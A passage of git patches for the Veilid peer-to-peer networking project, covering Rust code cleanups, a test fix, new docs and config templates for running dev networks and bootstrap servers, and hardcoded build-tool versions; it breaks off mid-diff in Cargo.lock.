@@ impl WebsocketProtocolHandler { // Make our connection descriptor let wnc = WebsocketNetworkConnection::new( - ConnectionDescriptor::new_no_local(dial_info.to_peer_address()), + ConnectionDescriptor::new_no_local(dial_info.peer_address()), wsmeta, wsio, ); diff --git a/veilid-core/src/routing_table/routing_domains.rs b/veilid-core/src/routing_table/routing_domains.rs index 5d280975..32eb0eec 100644 --- a/veilid-core/src/routing_table/routing_domains.rs +++ b/veilid-core/src/routing_table/routing_domains.rs @@ -399,8 +399,8 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { dif_sort.clone() ) { // Ensure we aren't on the same public IP address (no hairpin nat) - if reverse_did.dial_info.to_ip_addr() - != target_did.dial_info.to_ip_addr() + if reverse_did.dial_info.ip_addr() + != target_did.dial_info.ip_addr() { // Can we receive a direct reverse connection? if !reverse_did.class.requires_signal() { @@ -433,8 +433,8 @@ impl RoutingDomainDetail for PublicInternetRoutingDomainDetail { dif_sort.clone(), ) { // Ensure we aren't on the same public IP address (no hairpin nat) - if reverse_udp_did.dial_info.to_ip_addr() - != target_udp_did.dial_info.to_ip_addr() + if reverse_udp_did.dial_info.ip_addr() + != target_udp_did.dial_info.ip_addr() { // The target and ourselves have a udp dialinfo that they can reach return ContactMethod::SignalHolePunch( diff --git a/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs b/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs index d2aefa79..77eea5a5 100644 --- a/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs +++ b/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs @@ -22,7 +22,12 @@ impl RPCOperationWatchValueQ { watcher: PublicKey, signature: Signature, ) -> Result { - if subkeys.len() > MAX_WATCH_VALUE_Q_SUBKEYS_LEN { + #[cfg(target_arch = "wasm32")] + let subkeys_len = subkeys.len() as usize; + #[cfg(not(target_arch = "wasm32"))] + let subkeys_len = subkeys.len(); + + if subkeys_len > MAX_WATCH_VALUE_Q_SUBKEYS_LEN { return Err(RPCError::protocol("WatchValueQ subkeys length too long")); } Ok(Self { @@ -37,8 +42,12 @@ impl RPCOperationWatchValueQ { // signature covers: key, subkeys, expiration, count, using watcher key fn make_signature_data(&self) -> Vec { - let mut sig_data = - Vec::with_capacity(PUBLIC_KEY_LENGTH + 4 + (self.subkeys.len() * 8) + 8 + 4); + #[cfg(target_arch = "wasm32")] + let subkeys_len = self.subkeys.len() as usize; + #[cfg(not(target_arch = "wasm32"))] + let subkeys_len = self.subkeys.len(); + + let mut sig_data = Vec::with_capacity(PUBLIC_KEY_LENGTH + 4 + (subkeys_len * 8) + 8 + 4); sig_data.extend_from_slice(&self.key.kind.0); sig_data.extend_from_slice(&self.key.value.bytes); for sk in self.subkeys.ranges() { diff --git a/veilid-core/src/tests/common/test_protected_store.rs b/veilid-core/src/tests/common/test_protected_store.rs index 2b242c0f..ac6bf5ec 100644 --- a/veilid-core/src/tests/common/test_protected_store.rs +++ b/veilid-core/src/tests/common/test_protected_store.rs @@ -70,7 +70,7 @@ pub async fn test_protected_store(ps: ProtectedStore) { assert_eq!(ps.load_user_secret("_test_broken").await.unwrap(), None); assert_eq!(ps.load_user_secret("_test_broken").await.unwrap(), None); assert!(ps.remove_user_secret("_test_key").await.unwrap()); - assert!(ps.remove_user_secret("_test_key").await.unwrap()); + assert!(!ps.remove_user_secret("_test_key").await.unwrap()); assert!(!ps.remove_user_secret("_test_key").await.unwrap()); assert!(!ps.remove_user_secret("_test_broken").await.unwrap()); diff --git a/veilid-tools/src/timestamp.rs b/veilid-tools/src/timestamp.rs index fb290966..2d995180 100644 --- a/veilid-tools/src/timestamp.rs +++ b/veilid-tools/src/timestamp.rs @@ -6,7 +6,7 @@ cfg_if! { pub fn get_timestamp() -> u64 { if is_browser() { - return (Date::now() * 1000.0f64) as u64; + (Date::now() * 1000.0f64) as u64 } else { panic!("WASM requires browser environment"); } @@ -23,28 +23,34 @@ cfg_if! { let show_month = show_year || now.get_utc_month() != date.get_utc_month(); let show_date = show_month || now.get_utc_date() != date.get_utc_date(); + let s_year = if show_year { + format!("{:04}/",date.get_utc_full_year()) + } else { + "".to_owned() + }; + let s_month = if show_month { + format!("{:02}/",date.get_utc_month()) + } else { + "".to_owned() + }; + let s_date = if show_date { + format!("{:02}-",date.get_utc_date()) + } else { + "".to_owned() + }; + let s_time = format!("{:02}:{:02}:{:02}.{:04}", + date.get_utc_hours(), + date.get_utc_minutes(), + date.get_utc_seconds(), + date.get_utc_milliseconds() + ); + format!("{}{}{}{}", - if show_year { - format!("{:04}/",date.get_utc_full_year()) - } else { - "".to_owned() - }, - if show_month { - format!("{:02}/",date.get_utc_month()) - } else { - "".to_owned() - }, - if show_date { - format!("{:02}-",date.get_utc_date()) - } else { - "".to_owned() - }, - format!("{:02}:{:02}:{:02}.{:04}", - date.get_utc_hours(), - date.get_utc_minutes(), - date.get_utc_seconds(), - date.get_utc_milliseconds() - )) + s_year, + s_month, + s_date, + s_time + ) } else { panic!("WASM requires browser environment"); } diff --git a/veilid-tools/src/wasm.rs b/veilid-tools/src/wasm.rs index 1a54aee5..187112ca 100644 --- a/veilid-tools/src/wasm.rs +++ b/veilid-tools/src/wasm.rs @@ -21,7 +21,7 @@ pub fn is_browser() -> bool { return cache != 0; } - let res = Reflect::has(&global().as_ref(), &"navigator".into()).unwrap_or_default(); + let res = Reflect::has(global().as_ref(), &"navigator".into()).unwrap_or_default(); CACHE.store(res as i8, Ordering::Relaxed); @@ -45,7 +45,7 @@ pub fn is_browser_https() -> bool { } pub fn get_wasm_global_string_value>(key: K) -> Option { - let Ok(v) = Reflect::get(&global().as_ref(), &JsValue::from_str(key.as_ref())) else { + let Ok(v) = Reflect::get(global().as_ref(), &JsValue::from_str(key.as_ref())) else { return None; }; v.as_string() diff --git a/veilid-wasm/src/lib.rs b/veilid-wasm/src/lib.rs index d28eeb0f..1521640c 100644 --- a/veilid-wasm/src/lib.rs +++ b/veilid-wasm/src/lib.rs @@ -79,7 +79,7 @@ pub fn unmarshall(b64: String) -> APIResult> { }) } -pub fn marshall(data: &Vec) -> String { +pub fn marshall(data: &[u8]) -> String { data_encoding::BASE64URL_NOPAD.encode(data) } @@ -116,7 +116,7 @@ where F: Future> + 'static, T: Serialize + Debug + 'static, { - future_to_promise(future.map(|res| res.map(|v| to_json(v)).map_err(|e| to_json(e)))) + future_to_promise(future.map(|res| res.map(|v| to_json(v)).map_err(to_json))) } pub fn wrap_api_future_plain(future: F) -> Promise @@ -125,14 +125,14 @@ where JsValue: From, T: 'static, { - future_to_promise(future.map(|res| res.map(|v| to_jsvalue(v)).map_err(|e| to_json(e)))) + future_to_promise(future.map(|res| res.map(|v| to_jsvalue(v)).map_err(to_json))) } pub fn wrap_api_future_void(future: F) -> Promise where F: Future> + 'static, { - future_to_promise(future.map(|res| res.map(|_| JsValue::UNDEFINED).map_err(|e| to_json(e)))) + future_to_promise(future.map(|res| res.map(|_| JsValue::UNDEFINED).map_err(to_json))) } ///////////////////////////////////////// @@ -340,7 +340,7 @@ pub fn release_routing_context(id: u32) -> i32 { if rc.remove(&id).is_none() { return 0; } - return 1; + 1 } #[wasm_bindgen()] @@ -352,8 +352,7 @@ pub fn routing_context_with_privacy(id: u32) -> u32 { let Ok(routing_context) = routing_context.clone().with_privacy() else { return 0; }; - let new_id = add_routing_context(routing_context); - new_id + add_routing_context(routing_context) } #[wasm_bindgen()] @@ -371,8 +370,7 @@ pub fn routing_context_with_custom_privacy(id: u32, safety_selection: String) -> else { return 0; }; - let new_id = add_routing_context(routing_context); - new_id + add_routing_context(routing_context) } #[wasm_bindgen()] @@ -384,8 +382,7 @@ pub fn routing_context_with_sequencing(id: u32, sequencing: String) -> u32 { return 0; }; let routing_context = routing_context.clone().with_sequencing(sequencing); - let new_id = add_routing_context(routing_context); - new_id + add_routing_context(routing_context) } #[wasm_bindgen()] @@ -561,7 +558,7 @@ pub fn routing_context_get_dht_value( pub fn routing_context_set_dht_value(id: u32, key: String, subkey: u32, data: String) -> Promise { let key: veilid_core::TypedKey = veilid_core::deserialize_json(&key).unwrap(); let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(&data.as_bytes()) + .decode(data.as_bytes()) .unwrap(); wrap_api_future_json(async move { @@ -741,7 +738,7 @@ pub fn release_table_db(id: u32) -> i32 { if tdbs.remove(&id).is_none() { return 0; } - return 1; + 1 } #[wasm_bindgen()] @@ -766,7 +763,7 @@ pub fn table_db_get_column_count(id: u32) -> u32 { let Ok(cc) = table_db.clone().get_column_count() else { return 0; }; - return cc; + cc } #[wasm_bindgen()] @@ -810,8 +807,7 @@ pub fn table_db_transact(id: u32) -> u32 { return 0; }; let tdbt = table_db.clone().transact(); - let tdbtid = add_table_db_transaction(tdbt); - return tdbtid; + add_table_db_transaction(tdbt) } #[wasm_bindgen()] @@ -820,7 +816,7 @@ pub fn release_table_db_transaction(id: u32) -> i32 { if tdbts.remove(&id).is_none() { return 0; } - return 1; + 1 } #[wasm_bindgen()] diff --git a/veilid-wasm/src/veilid_client_js.rs b/veilid-wasm/src/veilid_client_js.rs index e89103cb..2b2319b7 100644 --- a/veilid-wasm/src/veilid_client_js.rs +++ b/veilid-wasm/src/veilid_client_js.rs @@ -163,12 +163,11 @@ impl VeilidClient { /// Return the cargo package version of veilid-core, in object format. pub fn version() -> VeilidVersion { let (major, minor, patch) = veilid_core::veilid_version(); - let vv = super::VeilidVersion { + super::VeilidVersion { major, minor, patch, - }; - vv + } } /// Return the cargo package version of veilid-core, in string format. diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index e12a1978..55f4557d 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -411,7 +411,7 @@ impl VeilidCrypto { veilid_core::SharedSecret::from_str(&shared_secret)?; let associated_data = associated_data - .map(|ad| unmarshall(ad)) + .map(unmarshall) .map_or(APIResult::Ok(None), |r| r.map(Some))?; let veilid_api = get_veilid_api()?; @@ -453,7 +453,7 @@ impl VeilidCrypto { veilid_core::SharedSecret::from_str(&shared_secret)?; let associated_data: Option> = associated_data - .map(|ad| unmarshall(ad)) + .map(unmarshall) .map_or(APIResult::Ok(None), |r| r.map(Some))?; let veilid_api = get_veilid_api()?; diff --git a/veilid-wasm/src/veilid_table_db_js.rs b/veilid-wasm/src/veilid_table_db_js.rs index f1fb86c3..181a43ef 100644 --- a/veilid-wasm/src/veilid_table_db_js.rs +++ b/veilid-wasm/src/veilid_table_db_js.rs @@ -23,7 +23,9 @@ impl VeilidTableDB { fn getTableDB(&self) -> APIResult { let Some(table_db) = &self.inner_table_db else { - return APIResult::Err(veilid_core::VeilidAPIError::generic("Unable to getTableDB instance. Ensure you've called openTable().")); + return APIResult::Err(veilid_core::VeilidAPIError::generic( + "Unable to getTableDB instance. Ensure you've called openTable().", + )); }; APIResult::Ok(table_db.clone()) } @@ -140,7 +142,9 @@ impl VeilidTableDBTransaction { fn getTransaction(&self) -> APIResult { let Some(transaction) = &self.inner_transaction else { - return APIResult::Err(veilid_core::VeilidAPIError::generic("Unable to getTransaction instance. inner_transaction is None.")); + return APIResult::Err(veilid_core::VeilidAPIError::generic( + "Unable to getTransaction instance. inner_transaction is None.", + )); }; APIResult::Ok(transaction.clone()) } @@ -174,3 +178,9 @@ impl VeilidTableDBTransaction { transaction.delete(col, &key) } } + +impl Default for VeilidTableDBTransaction { + fn default() -> Self { + Self::new() + } +} From 6e9610ecd230d92a6fcc7f51a3011fe35f9595cf Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Mon, 18 Sep 2023 21:28:56 -0500 Subject: [PATCH 62/86] Dev network setup docs Added guilds for setting up a public bootstrap, a dev network, and config templates for dev nodes. Added link in the contribution guide to dev network setup guide. --- BOOTSTRAP-SETUP.md | 33 ++++++++++++++---- CONTRIBUTING.md | 2 +- dev-setup/dev-network-setup.md | 42 +++++++++++++++++++++++ doc/config/veilid-bootstrap-config.md | 33 ++++++++++++++++++ doc/config/veilid-dev-bootstrap-config.md | 34 ++++++++++++++++++ doc/config/veilid-dev-node-config.md | 34 ++++++++++++++++++ doc/guide/guide.html | 1 - doc/guide/guide.md | 4 --- 8 files changed, 171 insertions(+), 12 deletions(-) create mode 100644 dev-setup/dev-network-setup.md create mode 100644 doc/config/veilid-bootstrap-config.md create mode 100644 doc/config/veilid-dev-bootstrap-config.md create mode 100644 doc/config/veilid-dev-node-config.md diff --git a/BOOTSTRAP-SETUP.md b/BOOTSTRAP-SETUP.md index 4aa08c0d..1aeb6343 100755 --- a/BOOTSTRAP-SETUP.md +++ b/BOOTSTRAP-SETUP.md @@ -1,5 +1,7 @@ -# Starting a Veilid Bootstrap Server +# Starting a Generic/Public Veilid Bootstrap Server + ## Instance Recommended Setup + CPU: Single RAM: 1GB Storage: 25GB @@ -7,50 +9,69 @@ IP: Static v4 & v6 Firewall: 5150/TCP/UDP inbound allow all ## Install Veilid + Follow instructions in [INSTALL.md](./INSTALL.md) -## Configure Veilid +## Configure Veilid as Bootstrap + **As root** -### Stop the Veilid service -```shell +### Stop the Veilid service + +```shell systemctl stop veilid-server.service ``` ### Setup the config + In _/etc/veilid-server/veilid-server.conf`_ ensure _bootstrap: ['bootstrap.']_ in the _routing_table:_ section +If you came here from the [dev network setup](./dev-setup/dev-network-setup.md) guide, this is when you set the network key. + **Switch to veilid user** + ```shell sudo -u veilid /bin/bash ``` ### Generate a new keypair + Copy the output to secure storage. + ```shell veilid-server --generate-key-pair ``` ### Create new node ID and flush existing route table + Include the brackets [] when pasting the keys. Use the public key in the command. Secret key will be request interacitvly and will not echo when pasted. + ```shell veilid-server --set-node-id [PUBLIC_KEY] --delete-table-store ``` + ### Generate the DNS TXT record + Copy the output to secure storage. + ```shell veilid-server --dump-txt-record ``` **Switch back to root** -### Start the Veilid service -```shell + +### Start the Veilid service + +```shell systemctl start veilid-server.service ``` +Optionally configure the service to start at boot `sudo systemctl enable veilid-server.service` + _REPEAT FOR EACH BOOTSTRAP SERVER_ ## Enter DNS Records + Create the following DNS Records for your domain: (This example assumes two bootstrap serves are being created) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9d8e949e..6f621442 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -6,7 +6,7 @@ Before you get started, please review our [Code of Conduct](./code_of_conduct.md To begin crafting code to contribute to the Veilid project, first set up a [development environment](./DEVELOPMENT.md). [Fork] and clone the project into your workspace; check out a new local branch and name it in a way that describes the work being done. This is referred to as a [feature branch]. -Some contributions might introduce changes that are incompatible with other existing nodes. In this case it is recommended to also set a development network *Guide Coming Soon*. +Some contributions might introduce changes that are incompatible with other existing nodes. In this case it is recommended to also setup a [development network](./dev-setup/dev-network-setup.md). Once you have added your new function or addressed a bug, test it locally to ensure it's working as expected. If needed, test your work in a development network with more than one node based on your code. Once you're satisfied your code works as intended and does not introduce negative results or new bugs, follow the merge requests section below to submit your work for maintainer review. diff --git a/dev-setup/dev-network-setup.md b/dev-setup/dev-network-setup.md new file mode 100644 index 00000000..aac705c4 --- /dev/null +++ b/dev-setup/dev-network-setup.md @@ -0,0 +1,42 @@ +# Dev Network Setup + +## Purpose + +There will be times when a contibutor wishes to dynamically test their work on live nodes. Doing so on the actual Veilid network would likely not yield productive test outcomes and so setting up an independent network for testing purposes is warranted. + +This document outlines the process of using the steps found in [INSTALL.md](../INSTALL.md) and [BOOTSTRAP-SETUP.md](../BOOTSTRAP-SETUP.md) with some modifications which results in a reasonably isolated and independent network of Veilid development nodes which do not communicate with nodes on the actual Veilid network. + +The minimum topology of a dev network is 1 bootstrap server and 4 nodes, all with public IP addresses with port 5150/TCP open. This allows enabling public address detection and private routing. The minimum specifications are 1 vCPU, 1GB RAM, and 25 GB storage. + +## Quick Start + +### The Network Key + +This acts as a passphase to allow nodes to join the network. It is the mechanism that makes your dev network isolated and independent. Create a passphrase and protect/store it as you would any other a password. + +### Dev Bootstrap Server + +Follow the steps detailed in [BOOTSTRAP-SETUP.md](../BOOTSTRAP-SETUP.md) using the dev bootstrap example [config](../doc/config/veilid-dev-bootstrap-config.md) for the *Setup the config* section. Set your network key on line 28. + +### Dev Nodes + +1. Follow the steps detailed in [INSTALL.md](../INSTALL.md) *DO NOT START THE SYSTEMD SERVICE* +2. Replace the default veilid-server config using the dev node example [config](../doc/config/veilid-dev-server-config.md) as a template. Enter your information on lines 27 and 28 to match what was entered in the dev bootstrap server's config. +3. Start the node with fresh data + + ```shell + sudo -u veilid veilid-server --delete-protected-store --delete-block-store --delete-table-store` + ``` + +4. `ctrl-c` to stop the above process +5. Start the dev node service + + ```shell + sudo systemctl start veilid-server.service + ``` + +6. (Optionally) configure the service to start at boot + + ```shell + sudo systemctl enable veilid-server.service + ``` diff --git a/doc/config/veilid-bootstrap-config.md b/doc/config/veilid-bootstrap-config.md new file mode 100644 index 00000000..7988de7c --- /dev/null +++ b/doc/config/veilid-bootstrap-config.md @@ -0,0 +1,33 @@ +# Veilid Server +# ============= +# +# Public Bootstrap Server Configuration +# +# ----------------------------------------------------------- + +--- +logging: + system: + enabled: true + level: debug + api: + enabled: true + level: debug + terminal: + enabled: false +core: + capabilities: + disable: ['TUNL','SGNL','RLAY','DIAL','DHTV','APPM'] + network: + upnp: false + dht: + min_peer_count: 2 + detect_address_changes: false + routing_table: + bootstrap: ['bootstrap.'] + protected_store: + insecure_fallback_directory: '/var/db/veilid-server/protected_store' + table_store: + directory: '/var/db/veilid-server/table_store' + block_store: + directory: '/var/db/veilid-server/block_store' \ No newline at end of file diff --git a/doc/config/veilid-dev-bootstrap-config.md b/doc/config/veilid-dev-bootstrap-config.md new file mode 100644 index 00000000..4cf4072e --- /dev/null +++ b/doc/config/veilid-dev-bootstrap-config.md @@ -0,0 +1,34 @@ +# Veilid Server +# ============= +# +# Private Development Bootstrap Server Configuration +# +# ----------------------------------------------------------- + +--- +logging: + system: + enabled: true + level: debug + api: + enabled: true + level: debug + terminal: + enabled: false +core: + capabilities: + disable: ['TUNL','SGNL','RLAY','DIAL','DHTV','APPM'] + network: + upnp: false + dht: + min_peer_count: 2 + detect_address_changes: false + routing_table: + bootstrap: ['bootstrap.'] + network_key_password: '' + protected_store: + insecure_fallback_directory: '/var/db/veilid-server/protected_store' + table_store: + directory: '/var/db/veilid-server/table_store' + block_store: + directory: '/var/db/veilid-server/block_store' \ No newline at end of file diff --git a/doc/config/veilid-dev-node-config.md b/doc/config/veilid-dev-node-config.md new file mode 100644 index 00000000..a77b135a --- /dev/null +++ b/doc/config/veilid-dev-node-config.md @@ -0,0 +1,34 @@ +# Veilid Server +# ============= +# +# Dev Node Configuration +# +# ----------------------------------------------------------- + +--- +logging: + system: + enabled: true + level: debug + api: + enabled: true + level: debug + terminal: + enabled: false +core: + capabilities: + disable: ['APPM'] + network: + upnp: false + dht: + min_peer_count: 10 + detect_address_changes: false + routing_table: + bootstrap: ['bootstrap.'] + network_key_password: '' + protected_store: + insecure_fallback_directory: '/var/db/veilid-server/protected_store' + table_store: + directory: '/var/db/veilid-server/table_store' + block_store: + directory: '/var/db/veilid-server/block_store' \ No newline at end of file diff --git a/doc/guide/guide.html b/doc/guide/guide.html index b2f641b2..7ec8bf31 100644 --- a/doc/guide/guide.html +++ b/doc/guide/guide.html @@ -14,7 +14,6 @@
early α docs
- please don't share publicly

Veilid Architecture Guide

diff --git a/doc/guide/guide.md b/doc/guide/guide.md index 6c5d63b8..58e57229 100644 --- a/doc/guide/guide.md +++ b/doc/guide/guide.md @@ -1,7 +1,3 @@ -# early α docs - -# please don't share publicly - # Veilid Architecture Guide - [From Orbit](#from-orbit) From 0bf595c53a4fcf4248be35442e3cbcbb8d0c46d4 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Tue, 19 Sep 2023 19:12:51 -0400 Subject: [PATCH 63/86] simplify version checking --- .capnp_version | 1 - .protoc_version | 1 - Earthfile | 10 +- scripts/earthly/install_capnproto.sh | 6 +- scripts/earthly/install_protoc.sh | 6 +- veilid-core/build.rs | 151 ++++++++++++--------------- 6 files changed, 74 insertions(+), 101 deletions(-) delete mode 100644 .capnp_version delete mode 100644 .protoc_version diff --git a/.capnp_version b/.capnp_version deleted file mode 100644 index 7f207341..00000000 --- a/.capnp_version +++ /dev/null @@ -1 +0,0 @@ -1.0.1 \ No newline at end of file diff --git a/.protoc_version b/.protoc_version deleted file mode 100644 index ed18113a..00000000 --- a/.protoc_version +++ /dev/null @@ -1 +0,0 @@ -24.3 \ No newline at end of file diff --git a/Earthfile b/Earthfile index 4c047c9e..7a2d2e6b 100644 --- a/Earthfile +++ b/Earthfile @@ -12,16 +12,14 @@ deps-base: # Install Cap'n Proto deps-capnp: FROM +deps-base - COPY .capnp_version / COPY scripts/earthly/install_capnproto.sh / - RUN /bin/bash /install_capnproto.sh 1; rm /install_capnproto.sh .capnp_version + RUN /bin/bash /install_capnproto.sh 1; rm /install_capnproto.sh # Install protoc deps-protoc: FROM +deps-capnp - COPY .protoc_version / COPY scripts/earthly/install_protoc.sh / - RUN /bin/bash /install_protoc.sh; rm /install_protoc.sh .protoc_version + RUN /bin/bash /install_protoc.sh; rm /install_protoc.sh # Install Rust deps-rust: @@ -73,14 +71,14 @@ deps-linux: # Code + Linux deps code-linux: FROM +deps-linux - COPY --dir .cargo .capnp_version .protoc_version files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid + COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid RUN cat /veilid/scripts/earthly/cargo-linux/config.toml >> /veilid/.cargo/config.toml WORKDIR /veilid # Code + Linux + Android deps code-android: FROM +deps-android - COPY --dir .cargo .capnp_version .protoc_version files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid + COPY --dir .cargo files scripts veilid-cli veilid-core veilid-server veilid-tools veilid-flutter veilid-wasm Cargo.lock Cargo.toml /veilid RUN cat /veilid/scripts/earthly/cargo-linux/config.toml >> /veilid/.cargo/config.toml RUN cat /veilid/scripts/earthly/cargo-android/config.toml >> /veilid/.cargo/config.toml WORKDIR /veilid diff --git a/scripts/earthly/install_capnproto.sh b/scripts/earthly/install_capnproto.sh index 61544d6b..865dbea2 100755 --- a/scripts/earthly/install_capnproto.sh +++ b/scripts/earthly/install_capnproto.sh @@ -1,10 +1,6 @@ #!/bin/bash SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" -if [ -f ".capnp_version" ]; then - CAPNPROTO_VERSION=$(cat ".capnp_version") -else - CAPNPROTO_VERSION=$(cat "$SCRIPTDIR/../../.capnp_version") -fi +CAPNPROTO_VERSION="1.0.1" # Keep in sync with veilid-core/build.rs mkdir /tmp/capnproto-install pushd /tmp/capnproto-install diff --git a/scripts/earthly/install_protoc.sh b/scripts/earthly/install_protoc.sh index 04cb461e..d01a780e 100755 --- a/scripts/earthly/install_protoc.sh +++ b/scripts/earthly/install_protoc.sh @@ -1,10 +1,6 @@ #!/bin/bash SCRIPTDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" -if [ -f ".protoc_version" ]; then - PROTOC_VERSION=$(cat ".protoc_version") -else - PROTOC_VERSION=$(cat "$SCRIPTDIR/../../.protoc_version") -fi +PROTOC_VERSION="24.3" # Keep in sync with veilid-core/build.rs UNAME_M=$(uname -m) if [[ "$UNAME_M" == "x86_64" ]]; then diff --git a/veilid-core/build.rs b/veilid-core/build.rs index 3eb93400..745f3e52 100644 --- a/veilid-core/build.rs +++ b/veilid-core/build.rs @@ -1,26 +1,14 @@ -use std::path::PathBuf; use std::process::{Command, Stdio}; -fn search_file, P: AsRef>(start: T, name: P) -> Option { - let start_path = PathBuf::from(start.as_ref()).canonicalize().ok(); - let mut path = start_path.as_deref(); - while let Some(some_path) = path { - let file_path = some_path.join(name.as_ref()); - if file_path.exists() { - return Some(file_path.to_owned()); - } - path = some_path.parent(); - } - None -} +const CAPNP_VERSION: &str = "1.0.1"; // Keep in sync with scripts/install_capnp.sh +const PROTOC_VERSION: &str = "24.3"; // Keep in sync with scripts/install_protoc.sh fn get_desired_capnp_version_string() -> String { - let capnp_path = search_file(env!("CARGO_MANIFEST_DIR"), ".capnp_version") - .expect("should find .capnp_version file"); - std::fs::read_to_string(&capnp_path) - .unwrap_or_else(|_| panic!("can't read .capnp_version file here: {:?}", capnp_path)) - .trim() - .to_owned() + CAPNP_VERSION.to_string() +} + +fn get_desired_protoc_version_string() -> String { + PROTOC_VERSION.to_string() } fn get_capnp_version_string() -> String { @@ -40,15 +28,6 @@ fn get_capnp_version_string() -> String { s[20..].to_owned() } -fn get_desired_protoc_version_string() -> String { - let protoc_path = search_file(env!("CARGO_MANIFEST_DIR"), ".protoc_version") - .expect("should find .protoc_version file"); - std::fs::read_to_string(&protoc_path) - .unwrap_or_else(|_| panic!("can't read .protoc_version file here: {:?}", protoc_path)) - .trim() - .to_owned() -} - fn get_protoc_version_string() -> String { let output = Command::new("protoc") .arg("--version") @@ -67,63 +46,69 @@ fn get_protoc_version_string() -> String { } fn main() { - let desired_capnp_version_string = get_desired_capnp_version_string(); - let capnp_version_string = get_capnp_version_string(); - let desired_protoc_version_string = get_desired_protoc_version_string(); - let protoc_version_string = get_protoc_version_string(); + #[cfg(doc)] + return; - // Check capnp version - let desired_capnp_major_version = desired_capnp_version_string - .split_once('.') - .unwrap() - .0 - .parse::() - .expect("should be valid int"); - - if capnp_version_string - .split_once('.') - .unwrap() - .0 - .parse::() - .expect("should be valid int") - != desired_capnp_major_version + #[cfg(not(doc))] { - panic!( - "capnproto version should be major version 1, preferably {} but is {}", - desired_capnp_version_string, capnp_version_string - ); - } else if capnp_version_string != desired_capnp_version_string { - println!( - "capnproto version may be untested: {}", - capnp_version_string - ); - } + let desired_capnp_version_string = get_desired_capnp_version_string(); + let capnp_version_string = get_capnp_version_string(); + let desired_protoc_version_string = get_desired_protoc_version_string(); + let protoc_version_string = get_protoc_version_string(); - // Check protoc version - let desired_protoc_major_version = desired_protoc_version_string - .split_once('.') - .unwrap() - .0 - .parse::() - .expect("should be valid int"); - if protoc_version_string - .split_once('.') - .unwrap() - .0 - .parse::() - .expect("should be valid int") - < desired_protoc_major_version - { - panic!( - "protoc version should be at least major version {} but is {}", - desired_protoc_major_version, protoc_version_string - ); - } else if protoc_version_string != desired_protoc_version_string { - println!("protoc version may be untested: {}", protoc_version_string); - } + // Check capnp version + let desired_capnp_major_version = desired_capnp_version_string + .split_once('.') + .unwrap() + .0 + .parse::() + .expect("should be valid int"); - ::capnpc::CompilerCommand::new() - .file("proto/veilid.capnp") - .run() - .expect("compiling schema"); + if capnp_version_string + .split_once('.') + .unwrap() + .0 + .parse::() + .expect("should be valid int") + != desired_capnp_major_version + { + panic!( + "capnproto version should be major version 1, preferably {} but is {}", + desired_capnp_version_string, capnp_version_string + ); + } else if capnp_version_string != desired_capnp_version_string { + println!( + "capnproto version may be untested: {}", + capnp_version_string + ); + } + + // Check protoc version + let desired_protoc_major_version = desired_protoc_version_string + .split_once('.') + .unwrap() + .0 + .parse::() + .expect("should be valid int"); + if protoc_version_string + .split_once('.') + .unwrap() + .0 + .parse::() + .expect("should be valid int") + < desired_protoc_major_version + { + panic!( + "protoc version should be at least major version {} but is {}", + desired_protoc_major_version, protoc_version_string + ); + } else if protoc_version_string != desired_protoc_version_string { + println!("protoc version may be untested: {}", protoc_version_string); + } + + ::capnpc::CompilerCommand::new() + .file("proto/veilid.capnp") + .run() + .expect("compiling schema"); + } } From 80afa19678d6ecb61b8dfef5e99837eaa4822568 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Wed, 20 Sep 2023 00:46:45 -0400 Subject: [PATCH 64/86] (wasm) Treat arbitrary byte data as Uint8Array, instead of base64url marshalling. --- Cargo.lock | 11 ++ veilid-core/Cargo.toml | 3 + veilid-core/src/veilid_api/error.rs | 1 - .../src/veilid_api/types/app_message_call.rs | 15 +- .../src/veilid_api/types/dht/value_data.rs | 8 +- veilid-core/src/veilid_config.rs | 2 - veilid-wasm/Cargo.toml | 3 + veilid-wasm/src/veilid_crypto_js.rs | 84 +++------ veilid-wasm/src/veilid_routing_context_js.rs | 33 ++-- veilid-wasm/src/veilid_table_db_js.rs | 38 ++-- veilid-wasm/src/wasm_helpers.rs | 13 ++ veilid-wasm/tests/.gitignore | 2 +- .../tests/src/VeilidRoutingContext.test.ts | 173 ++++++++++++++++++ veilid-wasm/tests/src/VeilidTable.test.ts | 36 +++- .../tests/src/utils/marshalling-utils.ts | 20 +- veilid-wasm/tests/src/veilidCrypto.test.ts | 111 ++++++++++- veilid-wasm/tests/wdio.conf.ts | 15 +- 17 files changed, 452 insertions(+), 116 deletions(-) create mode 100644 veilid-wasm/tests/src/VeilidRoutingContext.test.ts diff --git a/Cargo.lock b/Cargo.lock index d210e639..098a244a 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -4156,6 +4156,15 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "serde_bytes" +version = "0.11.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab33ec92f677585af6d88c65593ae2375adde54efdbf16d597f2cbc7a6d368ff" +dependencies = [ + "serde", +] + [[package]] name = "serde_cbor" version = "0.11.2" @@ -5316,6 +5325,7 @@ dependencies = [ "serde", "serde-big-array", "serde-wasm-bindgen 0.6.0", + "serde_bytes", "serde_json", "serial_test", "shell-words", @@ -5523,6 +5533,7 @@ dependencies = [ 